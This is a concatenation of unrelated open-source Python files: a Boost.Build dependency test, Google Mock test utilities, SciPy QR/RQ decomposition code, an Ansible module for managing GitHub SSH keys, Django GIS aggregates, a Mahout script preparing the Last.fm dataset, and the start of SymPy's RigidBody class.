print('Testing attributes')
print('Config')
print(regressor.config_)
print('Weights')
print(regressor.weights_)
print('Compiled model')
print(regressor.compiled_model_)

print('Test script complete.')

#!/usr/bin/python

# Copyright 2003 Vladimir Prus 
# Distributed under the Boost Software License, Version 1.0. 
# (See accompanying file LICENSE_1_0.txt or http://www.boost.org/LICENSE_1_0.txt) 

# This tests correct handling of dependencies, specifically, on generated
# sources, and from generated sources.

import BoostBuild

import string

t = BoostBuild.Tester(pass_toolset=0)

t.write("core-dependency-helpers", """
rule hdrrule
{
   INCLUDES $(1) : $(2) ;
}
actions copy
{
   cp $(>) $(<)
}
""")

code = """include core-dependency-helpers ;
DEPENDS all : a ;
DEPENDS a : b ;

actions create-b
{
   echo '#include <foo.h>' > $(<) 
}
copy a : b ;
create-b b ;
HDRRULE on b foo.h bar.h = hdrrule ;
HDRSCAN on b foo.h bar.h = \"#include <(.*)>\" ;
"""

# This creates 'a' which depends on 'b', which is generated. The generated 'b'
# contains '#include <foo.h>' and no rules for foo.h are given. The system
# should error out on the first invocation.
t.run_build_system("-f-", stdin=code)
t.fail_test(string.find(t.stdout(), "...skipped a for lack of foo.h...") == -1)

t.rm('b')

# Now test that if target 'c' also depends on 'b', then it will not be built, as
# well.
t.run_build_system("-f-", stdin=code + " copy c : b ; DEPENDS c : b ; DEPENDS all : c ; ")
t.fail_test(string.find(t.stdout(), "...skipped c for lack of foo.h...") == -1)

t.rm('b')

# Now add a rule for creating foo.h.
code += """
actions create-foo
{
    echo // > $(<)
}
create-foo foo.h ;
"""
t.run_build_system("-f-", stdin=code)

# Run two times, adding explicit dependency from all to foo.h at the beginning
# and at the end, to make sure that foo.h is generated before 'a' in all cases.

def mk_correct_order_func(s1, s2):
    def correct_order(s):
        n1 = string.find(s, s1)
        n2 = string.find(s, s2)
        return ( n1 != -1 ) and ( n2 != -1 ) and ( n1 < n2 )
    return correct_order

correct_order = mk_correct_order_func("create-foo", "copy a")

t.rm(["a", "b", "foo.h"])
t.run_build_system("-d+2 -f-", stdin=code + " DEPENDS all : foo.h ;")
t.fail_test(not correct_order(t.stdout()))

t.rm(["a", "b", "foo.h"])
t.run_build_system("-d+2 -f-", stdin=" DEPENDS all : foo.h ; " + code)
t.fail_test(not correct_order(t.stdout()))

# Now foo.h exists. Test include from b -> foo.h -> bar.h -> biz.h. b and foo.h
# already have updating actions. 
t.rm(["a", "b"])
t.write("foo.h", "#include <bar.h>")
t.write("bar.h", "#include <biz.h>")
t.run_build_system("-d+2 -f-", stdin=code)
t.fail_test(string.find(t.stdout(), "...skipped a for lack of biz.h...") == -1)

# Add an action for biz.h.
code += """
actions create-biz
{
   echo // > $(<)
}
create-biz biz.h ;
"""

t.rm(["b"])
correct_order = mk_correct_order_func("create-biz", "copy a")
t.run_build_system("-d+2 -f-", stdin=code + " DEPENDS all : biz.h ;")
t.fail_test(not correct_order(t.stdout()))

t.rm(["a", "biz.h"])
t.run_build_system("-d+2 -f-", stdin=" DEPENDS all : biz.h ; " + code)
t.fail_test(not correct_order(t.stdout()))           

t.write("a", "")

code="""
DEPENDS all : main d ;

actions copy 
{
    cp $(>) $(<) ;
}

DEPENDS main : a ;
copy main : a ;

INCLUDES a : <1>c ;

NOCARE <1>c ;
SEARCH on <1>c = . ;

actions create-c 
{
    echo d > $(<)    
}

actions create-d
{
    echo // > $(<)
}

create-c <2>c ;
LOCATE on <2>c = . ;
create-d d ;

HDRSCAN on <1>c = (.*) ;
HDRRULE on <1>c = hdrrule ;

rule hdrrule 
{
    INCLUDES $(1) : d ;
}
"""

correct_order = mk_correct_order_func("create-d", "copy main")
t.run_build_system("-d2 -f-", stdin=code)
t.fail_test(not correct_order(t.stdout()))

t.cleanup()

#!/usr/bin/env python
#
# Copyright 2006, Google Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are
# met:
#
#     * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
#     * Redistributions in binary form must reproduce the above
# copyright notice, this list of conditions and the following disclaimer
# in the documentation and/or other materials provided with the
# distribution.
#     * Neither the name of Google Inc. nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
# A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
# OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
# SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
# LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
# THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

"""Unit test utilities for Google C++ Mocking Framework."""

__author__ = 'wan@google.com (Zhanyong Wan)'

import os
import sys


# Determines path to gtest_test_utils and imports it.
SCRIPT_DIR = os.path.dirname(__file__) or '.'

# isdir resolves symbolic links.
gtest_tests_util_dir = os.path.join(SCRIPT_DIR, '../gtest/test')
if os.path.isdir(gtest_tests_util_dir):
  GTEST_TESTS_UTIL_DIR = gtest_tests_util_dir
else:
  GTEST_TESTS_UTIL_DIR = os.path.join(SCRIPT_DIR, '../../gtest/test')

sys.path.append(GTEST_TESTS_UTIL_DIR)
import gtest_test_utils  # pylint: disable-msg=C6204


def GetSourceDir():
  """Returns the absolute path of the directory where the .py files are."""

  return gtest_test_utils.GetSourceDir()


def GetTestExecutablePath(executable_name):
  """Returns the absolute path of the test binary given its name.

  The function will print a message and abort the program if the resulting file
  doesn't exist.

  Args:
    executable_name: name of the test binary that the test script runs.

  Returns:
    The absolute path of the test binary.
  """

  return gtest_test_utils.GetTestExecutablePath(executable_name)


def GetExitStatus(exit_code):
  """Returns the argument to exit(), or -1 if exit() wasn't called.

  Args:
    exit_code: the result value of os.system(command).
  """

  if os.name == 'nt':
    # On Windows, os.WEXITSTATUS() doesn't work and os.system() returns
    # the argument to exit() directly.
    return exit_code
  else:
    # On Unix, os.WEXITSTATUS() must be used to extract the exit status
    # from the result of os.system().
    if os.WIFEXITED(exit_code):
      return os.WEXITSTATUS(exit_code)
    else:
      return -1


# Suppresses the "Invalid const name" lint complaint
# pylint: disable-msg=C6409

# Exposes utilities from gtest_test_utils.
Subprocess = gtest_test_utils.Subprocess
TestCase = gtest_test_utils.TestCase
environ = gtest_test_utils.environ
SetEnvVar = gtest_test_utils.SetEnvVar
PREMATURE_EXIT_FILE_ENV_VAR = gtest_test_utils.PREMATURE_EXIT_FILE_ENV_VAR

# pylint: enable-msg=C6409


def Main():
  """Runs the unit test."""

  gtest_test_utils.Main()

"""QR decomposition functions."""
from __future__ import division, print_function, absolute_import

import numpy

# Local imports
from .lapack import get_lapack_funcs
from .misc import _datacopied

__all__ = ['qr', 'qr_multiply', 'rq']


def safecall(f, name, *args, **kwargs):
    """Call a LAPACK routine, determining lwork automatically and handling
    error return values"""
    lwork = kwargs.get("lwork", None)
    if lwork in (None, -1):
        kwargs['lwork'] = -1
        ret = f(*args, **kwargs)
        kwargs['lwork'] = ret[-2][0].real.astype(numpy.int)
    ret = f(*args, **kwargs)
    if ret[-1] < 0:
        raise ValueError("illegal value in %d-th argument of internal %s"
                         % (-ret[-1], name))
    return ret[:-2]


def qr(a, overwrite_a=False, lwork=None, mode='full', pivoting=False,
       check_finite=True):
    """
    Compute QR decomposition of a matrix.

    Calculate the decomposition ``A = Q R`` where Q is unitary/orthogonal
    and R upper triangular.

    Parameters
    ----------
    a : (M, N) array_like
        Matrix to be decomposed
    overwrite_a : bool, optional
        Whether data in a is overwritten (may improve performance)
    lwork : int, optional
        Work array size, lwork >= a.shape[1]. If None or -1, an optimal size
        is computed.
    mode : {'full', 'r', 'economic', 'raw'}, optional
        Determines what information is to be returned: either both Q and R
        ('full', default), only R ('r') or both Q and R but computed in
        economy-size ('economic', see Notes). The final option 'raw'
        (added in Scipy 0.11) makes the function return two matrices
        (Q, TAU) in the internal format used by LAPACK.
    pivoting : bool, optional
        Whether or not factorization should include pivoting for rank-revealing
        qr decomposition. If pivoting, compute the decomposition
        ``A P = Q R`` as above, but where P is chosen such that the diagonal
        of R is non-increasing.
    check_finite : bool, optional
        Whether to check that the input matrix contains only finite numbers.
        Disabling may give a performance gain, but may result in problems
        (crashes, non-termination) if the inputs do contain infinities or NaNs.

    Returns
    -------
    Q : float or complex ndarray
        Of shape (M, M), or (M, K) for ``mode='economic'``.  Not returned
        if ``mode='r'``.
    R : float or complex ndarray
        Of shape (M, N), or (K, N) for ``mode='economic'``.  ``K = min(M, N)``.
    P : int ndarray
        Of shape (N,) for ``pivoting=True``. Not returned if
        ``pivoting=False``.

    Raises
    ------
    LinAlgError
        Raised if decomposition fails

    Notes
    -----
    This is an interface to the LAPACK routines dgeqrf, zgeqrf,
    dorgqr, zungqr, dgeqp3, and zgeqp3.

    If ``mode=economic``, the shapes of Q and R are (M, K) and (K, N) instead
    of (M,M) and (M,N), with ``K=min(M,N)``.

    Examples
    --------
    >>> from scipy import random, linalg, dot, diag, all, allclose
    >>> a = random.randn(9, 6)

    >>> q, r = linalg.qr(a)
    >>> allclose(a, np.dot(q, r))
    True
    >>> q.shape, r.shape
    ((9, 9), (9, 6))

    >>> r2 = linalg.qr(a, mode='r')
    >>> allclose(r, r2)
    True

    >>> q3, r3 = linalg.qr(a, mode='economic')
    >>> q3.shape, r3.shape
    ((9, 6), (6, 6))

    >>> q4, r4, p4 = linalg.qr(a, pivoting=True)
    >>> d = abs(diag(r4))
    >>> all(d[1:] <= d[:-1])
    True
    >>> allclose(a[:, p4], dot(q4, r4))
    True
    >>> q4.shape, r4.shape, p4.shape
    ((9, 9), (9, 6), (6,))

    >>> q5, r5, p5 = linalg.qr(a, mode='economic', pivoting=True)
    >>> q5.shape, r5.shape, p5.shape
    ((9, 6), (6, 6), (6,))

    """
    # 'qr' was the old default, equivalent to 'full'. Neither 'full' nor
    # 'qr' are used below.
    # 'raw' is used internally by qr_multiply
    if mode not in ['full', 'qr', 'r', 'economic', 'raw']:
        raise ValueError(
                 "Mode argument should be one of ['full', 'r', 'economic', 'raw']")

    if check_finite:
        a1 = numpy.asarray_chkfinite(a)
    else:
        a1 = numpy.asarray(a)
    if len(a1.shape) != 2:
        raise ValueError("expected 2D array")
    M, N = a1.shape
    overwrite_a = overwrite_a or (_datacopied(a1, a))

    if pivoting:
        geqp3, = get_lapack_funcs(('geqp3',), (a1,))
        qr, jpvt, tau = safecall(geqp3, "geqp3", a1, overwrite_a=overwrite_a)
        jpvt -= 1  # geqp3 returns a 1-based index array, so subtract 1
    else:
        geqrf, = get_lapack_funcs(('geqrf',), (a1,))
        qr, tau = safecall(geqrf, "geqrf", a1, lwork=lwork,
            overwrite_a=overwrite_a)

    if mode not in ['economic', 'raw'] or M < N:
        R = numpy.triu(qr)
    else:
        R = numpy.triu(qr[:N, :])

    if pivoting:
        Rj = R, jpvt
    else:
        Rj = R,

    if mode == 'r':
        return Rj
    elif mode == 'raw':
        return ((qr, tau),) + Rj

    gor_un_gqr, = get_lapack_funcs(('orgqr',), (qr,))

    if M < N:
        Q, = safecall(gor_un_gqr, "gorgqr/gungqr", qr[:, :M], tau,
            lwork=lwork, overwrite_a=1)
    elif mode == 'economic':
        Q, = safecall(gor_un_gqr, "gorgqr/gungqr", qr, tau, lwork=lwork,
            overwrite_a=1)
    else:
        t = qr.dtype.char
        qqr = numpy.empty((M, M), dtype=t)
        qqr[:, :N] = qr
        Q, = safecall(gor_un_gqr, "gorgqr/gungqr", qqr, tau, lwork=lwork,
            overwrite_a=1)

    return (Q,) + Rj


def qr_multiply(a, c, mode='right', pivoting=False, conjugate=False,
    overwrite_a=False, overwrite_c=False):
    """
    Calculate the QR decomposition and multiply Q with a matrix.

    Calculate the decomposition ``A = Q R`` where Q is unitary/orthogonal
    and R upper triangular. Multiply Q with a vector or a matrix c.

    Parameters
    ----------
    a : array_like, shape (M, N)
        Matrix to be decomposed
    c : array_like, one- or two-dimensional
        calculate the product of c and q, depending on the mode:
    mode : {'left', 'right'}, optional
        ``dot(Q, c)`` is returned if mode is 'left',
        ``dot(c, Q)`` is returned if mode is 'right'.
        The shape of c must be appropriate for the matrix multiplications,
        if mode is 'left', ``min(a.shape) == c.shape[0]``,
        if mode is 'right', ``a.shape[0] == c.shape[1]``.
    pivoting : bool, optional
        Whether or not factorization should include pivoting for rank-revealing
        qr decomposition, see the documentation of qr.
    conjugate : bool, optional
        Whether Q should be complex-conjugated. This might be faster
        than explicit conjugation.
    overwrite_a : bool, optional
        Whether data in a is overwritten (may improve performance)
    overwrite_c : bool, optional
        Whether data in c is overwritten (may improve performance).
        If this is used, c must be big enough to keep the result,
        i.e. c.shape[0] = a.shape[0] if mode is 'left'.


    Returns
    -------
    CQ : float or complex ndarray
        the product of Q and c, as defined in mode
    R : float or complex ndarray
        Of shape (K, N), ``K = min(M, N)``.
    P : ndarray of ints
        Of shape (N,) for ``pivoting=True``.
        Not returned if ``pivoting=False``.

    Raises
    ------
    LinAlgError
        Raised if decomposition fails

    Notes
    -----
    This is an interface to the LAPACK routines dgeqrf, zgeqrf,
    dormqr, zunmqr, dgeqp3, and zgeqp3.

    .. versionadded:: 0.11.0

    """
    if mode not in ['left', 'right']:
        raise ValueError("Mode argument should be one of ['left', 'right']")
    c = numpy.asarray_chkfinite(c)
    onedim = c.ndim == 1
    if onedim:
        c = c.reshape(1, len(c))
        if mode == "left":
            c = c.T

    a = numpy.asarray(a)  # chkfinite done in qr
    M, N = a.shape
    if not (mode == "left" and
                (not overwrite_c and min(M, N) == c.shape[0] or
                     overwrite_c and M == c.shape[0]) or
            mode == "right" and M == c.shape[1]):
        raise ValueError("objects are not aligned")

    raw = qr(a, overwrite_a, None, "raw", pivoting)
    Q, tau = raw[0]

    gor_un_mqr, = get_lapack_funcs(('ormqr',), (Q,))
    if gor_un_mqr.typecode in ('s', 'd'):
        trans = "T"
    else:
        trans = "C"

    Q = Q[:, :min(M, N)]
    if M > N and mode == "left" and not overwrite_c:
        if conjugate:
            cc = numpy.zeros((c.shape[1], M), dtype=c.dtype, order="F")
            cc[:, :N] = c.T
        else:
            cc = numpy.zeros((M, c.shape[1]), dtype=c.dtype, order="F")
            cc[:N, :] = c
            trans = "N"
        if conjugate:
            lr = "R"
        else:
            lr = "L"
        overwrite_c = True
    elif c.flags["C_CONTIGUOUS"] and trans == "T" or conjugate:
        cc = c.T
        if mode == "left":
            lr = "R"
        else:
            lr = "L"
    else:
        trans = "N"
        cc = c
        if mode == "left":
            lr = "L"
        else:
            lr = "R"
    cQ, = safecall(gor_un_mqr, "gormqr/gunmqr", lr, trans, Q, tau, cc,
            overwrite_c=overwrite_c)
    if trans != "N":
        cQ = cQ.T
    if mode == "right":
        cQ = cQ[:, :min(M, N)]
    if onedim:
        cQ = cQ.ravel()

    return (cQ,) + raw[1:]


def rq(a, overwrite_a=False, lwork=None, mode='full', check_finite=True):
    """
    Compute RQ decomposition of a matrix.

    Calculate the decomposition ``A = R Q`` where Q is unitary/orthogonal
    and R upper triangular.

    Parameters
    ----------
    a : (M, N) array_like
        Matrix to be decomposed
    overwrite_a : bool, optional
        Whether data in a is overwritten (may improve performance)
    lwork : int, optional
        Work array size, lwork >= a.shape[1]. If None or -1, an optimal size
        is computed.
    mode : {'full', 'r', 'economic'}, optional
        Determines what information is to be returned: either both Q and R
        ('full', default), only R ('r') or both Q and R but computed in
        economy-size ('economic', see Notes).
    check_finite : bool, optional
        Whether to check that the input matrix contains only finite numbers.
        Disabling may give a performance gain, but may result in problems
        (crashes, non-termination) if the inputs do contain infinities or NaNs.

    Returns
    -------
    R : float or complex ndarray
        Of shape (M, N) or (M, K) for ``mode='economic'``.  ``K = min(M, N)``.
    Q : float or complex ndarray
        Of shape (N, N) or (K, N) for ``mode='economic'``.  Not returned
        if ``mode='r'``.

    Raises
    ------
    LinAlgError
        If decomposition fails.

    Notes
    -----
    This is an interface to the LAPACK routines sgerqf, dgerqf, cgerqf, zgerqf,
    sorgrq, dorgrq, cungrq and zungrq.

    If ``mode=economic``, the shapes of Q and R are (K, N) and (M, K) instead
    of (N,N) and (M,N), with ``K=min(M,N)``.

    Examples
    --------
    >>> from scipy import linalg
    >>> from numpy import random, dot, allclose
    >>> a = random.randn(6, 9)
    >>> r, q = linalg.rq(a)
    >>> allclose(a, dot(r, q))
    True
    >>> r.shape, q.shape
    ((6, 9), (9, 9))
    >>> r2 = linalg.rq(a, mode='r')
    >>> allclose(r, r2)
    True
    >>> r3, q3 = linalg.rq(a, mode='economic')
    >>> r3.shape, q3.shape
    ((6, 6), (6, 9))

    """
    if mode not in ['full', 'r', 'economic']:
        raise ValueError(
                 "Mode argument should be one of ['full', 'r', 'economic']")

    if check_finite:
        a1 = numpy.asarray_chkfinite(a)
    else:
        a1 = numpy.asarray(a)
    if len(a1.shape) != 2:
        raise ValueError('expected matrix')
    M, N = a1.shape
    overwrite_a = overwrite_a or (_datacopied(a1, a))

    gerqf, = get_lapack_funcs(('gerqf',), (a1,))
    rq, tau = safecall(gerqf, 'gerqf', a1, lwork=lwork,
                       overwrite_a=overwrite_a)
    if not mode == 'economic' or N < M:
        R = numpy.triu(rq, N-M)
    else:
        R = numpy.triu(rq[-M:, -M:])

    if mode == 'r':
        return R

    gor_un_grq, = get_lapack_funcs(('orgrq',), (rq,))

    if N < M:
        Q, = safecall(gor_un_grq, "gorgrq/gungrq", rq[-N:], tau, lwork=lwork,
                      overwrite_a=1)
    elif mode == 'economic':
        Q, = safecall(gor_un_grq, "gorgrq/gungrq", rq, tau, lwork=lwork,
                      overwrite_a=1)
    else:
        rq1 = numpy.empty((N, N), dtype=rq.dtype)
        rq1[-M:] = rq
        Q, = safecall(gor_un_grq, "gorgrq/gungrq", rq1, tau, lwork=lwork,
                      overwrite_a=1)

    return R, Q

#!/usr/bin/python
# This file is part of Ansible
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# Ansible is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with Ansible.  If not, see <http://www.gnu.org/licenses/>.

ANSIBLE_METADATA = {'status': ['preview'],
                    'supported_by': 'community',
                    'version': '1.0'}

DOCUMENTATION = '''
module: github_key
short_description: Manage GitHub access keys.
description:
    - Creates, removes, or updates GitHub access keys.
version_added: "2.2"
options:
  token:
    description:
      - GitHub Access Token with permission to list and create public keys.
    required: true
  name:
    description:
      - SSH key name
    required: true
  pubkey:
    description:
      - SSH public key value. Required when C(state=present).
    required: false
    default: none
  state:
    description:
      - Whether to remove a key, ensure that it exists, or update its value.
    choices: ['present', 'absent']
    default: 'present'
    required: false
  force:
    description:
      - The default is C(yes), which will replace the existing remote key
        if it's different than C(pubkey). If C(no), the key will only be
        set if no key with the given C(name) exists.
    required: false
    choices: ['yes', 'no']
    default: 'yes'

author: Robert Estelle (@erydo)
'''

RETURN = '''
deleted_keys:
    description: An array of key objects that were deleted. Only present on state=absent
    type: list
    returned: When state=absent
    sample: [{'id': 0, 'key': 'BASE64 encoded key', 'url': 'http://example.com/github key', 'created_at': 'YYYY-MM-DDTHH:MM:SZ', 'read_only': False}]
matching_keys:
    description: An array of keys matching the specified name. Only present on state=present
    type: list
    returned: When state=present
    sample: [{'id': 0, 'key': 'BASE64 encoded key', 'url': 'http://example.com/github key', 'created_at': 'YYYY-MM-DDTHH:MM:SZ', 'read_only': False}]
key:
    description: Metadata about the key just created. Only present on state=present
    type: dict
    returned: success
    sample: {'id': 0, 'key': 'BASE64 encoded key', 'url': 'http://example.com/github key', 'created_at': 'YYYY-MM-DDTHH:MM:SZ', 'read_only': False}
'''

EXAMPLES = '''
- name: Read SSH public key to authorize
  shell: cat /home/foo/.ssh/id_rsa.pub
  register: ssh_pub_key

- name: Authorize key with GitHub
  local_action:
    module: github_key
    name: Access Key for Some Machine
    token: '{{ github_access_token }}'
    pubkey: '{{ ssh_pub_key.stdout }}'
'''


import sys  # noqa
import json
import re


API_BASE = 'https://api.github.com'


class GitHubResponse(object):
    def __init__(self, response, info):
        self.content = response.read()
        self.info = info

    def json(self):
        return json.loads(self.content)

    def links(self):
        links = {}
        if 'link' in self.info:
            link_header = re.info['link']
            matches = re.findall('<([^>]+)>; rel="([^"]+)"', link_header)
            for url, rel in matches:
                links[rel] = url
        return links


class GitHubSession(object):
    def __init__(self, module, token):
        self.module = module
        self.token = token

    def request(self, method, url, data=None):
        headers = {
            'Authorization': 'token %s' % self.token,
            'Content-Type': 'application/json',
            'Accept': 'application/vnd.github.v3+json',
        }
        response, info = fetch_url(
            self.module, url, method=method, data=data, headers=headers)
        if not (200 <= info['status'] < 400):
            self.module.fail_json(
                msg=(" failed to send request %s to %s: %s"
                     % (method, url, info['msg'])))
        return GitHubResponse(response, info)


def get_all_keys(session):
    url = API_BASE + '/user/keys'
    while url:
        r = session.request('GET', url)
        for key in r.json():
            yield key

        url = r.links().get('next')


def create_key(session, name, pubkey, check_mode):
    if check_mode:
        from datetime import datetime
        now = datetime.utcnow()
        return {
            'id': 0,
            'key': pubkey,
            'title': name,
            'url': 'http://example.com/CHECK_MODE_GITHUB_KEY',
            'created_at': datetime.strftime(now, '%Y-%m-%dT%H:%M:%SZ'),
            'read_only': False,
            'verified': False
        }
    else:
        return session.request(
            'POST',
            API_BASE + '/user/keys',
            data=json.dumps({'title': name, 'key': pubkey})).json()


def delete_keys(session, to_delete, check_mode):
    if check_mode:
        return

    for key in to_delete:
        session.request('DELETE', API_BASE + '/user/keys/%s' % key[id])


def ensure_key_absent(session, name, check_mode):
    to_delete = [key for key in get_all_keys(session) if key['title'] == name]
    delete_keys(session, to_delete, check_mode=check_mode)

    return {'changed': bool(to_delete),
            'deleted_keys': to_delete}


def ensure_key_present(session, name, pubkey, force, check_mode):
    matching_keys = [k for k in get_all_keys(session) if k['title'] == name]
    deleted_keys = []

    if matching_keys and force and matching_keys[0]['key'] != pubkey:
        delete_keys(session, matching_keys, check_mode=check_mode)
        (deleted_keys, matching_keys) = (matching_keys, [])

    if not matching_keys:
        key = create_key(session, name, pubkey, check_mode=check_mode)
    else:
        key = matching_keys[0]

    return {
        'changed': bool(deleted_keys or not matching_keys),
        'deleted_keys': deleted_keys,
        'matching_keys': matching_keys,
        'key': key
    }


def main():
    argument_spec = {
        'token': {'required': True, 'no_log': True},
        'name': {'required': True},
        'pubkey': {},
        'state': {'choices': ['present', 'absent'], 'default': 'present'},
        'force': {'default': True, 'type': 'bool'},
    }
    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
    )

    token = module.params['token']
    name = module.params['name']
    state = module.params['state']
    force = module.params['force']
    pubkey = module.params.get('pubkey')

    if pubkey:
        pubkey_parts = pubkey.split(' ')
        # Keys consist of a protocol, the key data, and an optional comment.
        if len(pubkey_parts) < 2:
            module.fail_json(msg='"pubkey" parameter has an invalid format')

        # Strip out comment so we can compare to the keys GitHub returns.
        pubkey = ' '.join(pubkey_parts[:2])
    elif state == 'present':
        module.fail_json(msg='"pubkey" is required when state=present')

    session = GitHubSession(module, token)
    if state == 'present':
        result = ensure_key_present(session, name, pubkey, force=force,
                                    check_mode=module.check_mode)
    elif state == 'absent':
        result = ensure_key_absent(session, name, check_mode=module.check_mode)

    module.exit_json(**result)

from ansible.module_utils.basic import *  # noqa
from ansible.module_utils.urls import *  # noqa

if __name__ == '__main__':
    main()

from django.contrib.gis.db.models.fields import ExtentField
from django.db.models.aggregates import Aggregate

__all__ = ['Collect', 'Extent', 'Extent3D', 'MakeLine', 'Union']


class GeoAggregate(Aggregate):
    function = None
    is_extent = False

    def as_sql(self, compiler, connection):
        # this will be called again in parent, but it's needed now - before
        # we get the spatial_aggregate_name
        connection.ops.check_expression_support(self)
        self.function = connection.ops.spatial_aggregate_name(self.name)
        return super(GeoAggregate, self).as_sql(compiler, connection)

    def as_oracle(self, compiler, connection):
        if not hasattr(self, 'tolerance'):
            self.tolerance = 0.05
        self.extra['tolerance'] = self.tolerance
        if not self.is_extent:
            self.template = '%(function)s(SDOAGGRTYPE(%(expressions)s,%(tolerance)s))'
        return self.as_sql(compiler, connection)

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        c = super(GeoAggregate, self).resolve_expression(query, allow_joins, reuse, summarize, for_save)
        for expr in c.get_source_expressions():
            if not hasattr(expr.field, 'geom_type'):
                raise ValueError('Geospatial aggregates only allowed on geometry fields.')
        return c

    def convert_value(self, value, expression, connection, context):
        return connection.ops.convert_geom(value, self.output_field)


class Collect(GeoAggregate):
    name = 'Collect'


class Extent(GeoAggregate):
    name = 'Extent'
    is_extent = '2D'

    def __init__(self, expression, **extra):
        super(Extent, self).__init__(expression, output_field=ExtentField(), **extra)

    def convert_value(self, value, expression, connection, context):
        return connection.ops.convert_extent(value, context.get('transformed_srid'))


class Extent3D(GeoAggregate):
    name = 'Extent3D'
    is_extent = '3D'

    def __init__(self, expression, **extra):
        super(Extent3D, self).__init__(expression, output_field=ExtentField(), **extra)

    def convert_value(self, value, expression, connection, context):
        return connection.ops.convert_extent3d(value, context.get('transformed_srid'))


class MakeLine(GeoAggregate):
    name = 'MakeLine'


class Union(GeoAggregate):
    name = 'Union'

#!/usr/bin/python
# -*- coding: utf-8 -*-

# Licensed to Sebastian Schelter (ssc[at]apache.org), who licenses this file
#  to You under the Apache License, Version 2.0 (the "License");
#  you may not use this file except in compliance with
# the License.  You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.


import sys, os
import urllib, tarfile, math
import hashlib, numpy
import random

# Big thanks to Alex S. for figuring out that piece of code
def mahout_hash(value):
  md5_hash = hashlib.md5(value).digest()
  hash = numpy.int64(0)
  for c in md5_hash[:8]:
    hash = hash << 8 | ord(c)
  return str(hash)

# we use the log of plays as smoothed rating
def smoothed_rating(times_played):
  if (times_played == 0):
    rating = 1
  else:
    rating = int(math.log(times_played) + 1)
  if rating > 10:
    rating = 10
  return str(rating)

if len(sys.argv) != 2:
  print 'usage: %s <directory>' % os.path.basename(sys.argv[0])
  sys.exit(-1)

directory = sys.argv[1]

# download file
print '[1] Downloading http://mtg.upf.edu/static/datasets/last.fm/lastfm-dataset-360K.tar.gz (543MB)'
urllib.urlretrieve ("http://mtg.upf.edu/static/datasets/last.fm/lastfm-dataset-360K.tar.gz",
    directory + "/lastfm-dataset-360K.tar.gz")

## extract play data from tar file
tar = tarfile.open(directory + "/lastfm-dataset-360K.tar.gz", 'r:gz')
print '[2] Extracting lastfm-dataset-360K/usersha1-artmbid-artname-plays.tsv (1.5GB)'
tar.extract('lastfm-dataset-360K/usersha1-artmbid-artname-plays.tsv', directory)

print '[3] Converting plays to ratings'
artist_names = set()
lines_read = 0

with open(directory + '/lastfm-ratings.csv', 'w') as preferences_file:
  with open(directory + '/lastfm-dataset-360K/usersha1-artmbid-artname-plays.tsv', 'r') as plays_file:
    for line in plays_file:
      lines_read += 1
      (user_id, artist_id, artist_name, plays) = line.strip().split('\t')

      artist_names.add(artist_name)

      rating = smoothed_rating(int(plays))

      preferences_file.write(mahout_hash(user_id) + ',' + mahout_hash(artist_name) + ',' + rating + '\n')

      if lines_read % 100000 == 0:
        print "%d lines read..." % lines_read
print "%d lines read, done" % lines_read

print '[4] Saving artist names'
artist_names = list(artist_names)
artist_names.sort()

with open(directory + '/lastfm-artists.csv', 'w') as artists_file:
  for artist_name in artist_names:
    artists_file.write(artist_name + '\n')


print '[5] creating a 10% percent sample of the data'
random.seed('xKrot37')

with open(directory + '/lastfm-ratings-sample-10-percent.csv', 'w') as sampled_preferences:
  with open(directory + '/lastfm-ratings.csv', 'r') as preferences_file:
    for line in preferences_file:
      if random.randint(1, 100) <= 10:
        sampled_preferences.write(line)
from __future__ import print_function, division

__all__ = ['RigidBody']

from sympy import sympify
from sympy.physics.vector import Point, ReferenceFrame, Dyadic
from sympy.utilities.exceptions import SymPyDeprecationWarning


class RigidBody(object):
    """An idealized rigid body.

    This is essentially a container which holds the various components which
    describe a rigid body: a name, mass, center of mass, reference frame, and
    inertia.

    All of these need to be supplied on creation, but can be changed
    afterwards.

    Attributes
    ==========
    name : string
        The body's name.
    masscenter : Point
        The point which represents the center of mass of the rigid body.
    frame : ReferenceFrame
        The ReferenceFrame which the rigid body is fixed in.
    mass : Sympifyable
        The body's mass.
    inertia : (Dyadic, Point)
        The body's inertia about a point; stored in a tuple as shown above.

    Examples
    ========

    >>> from sympy import Symbol
    >>> from sympy.physics.mechanics import ReferenceFrame, Point, RigidBody
    >>> from sympy.physics.mechanics import outer
    >>> m = Symbol('m')
    >>> A = ReferenceFrame('A')
    >>> P = Point('P')
    >>> I = outer (A.x, A.x)
    >>> inertia_tuple = (I, P)
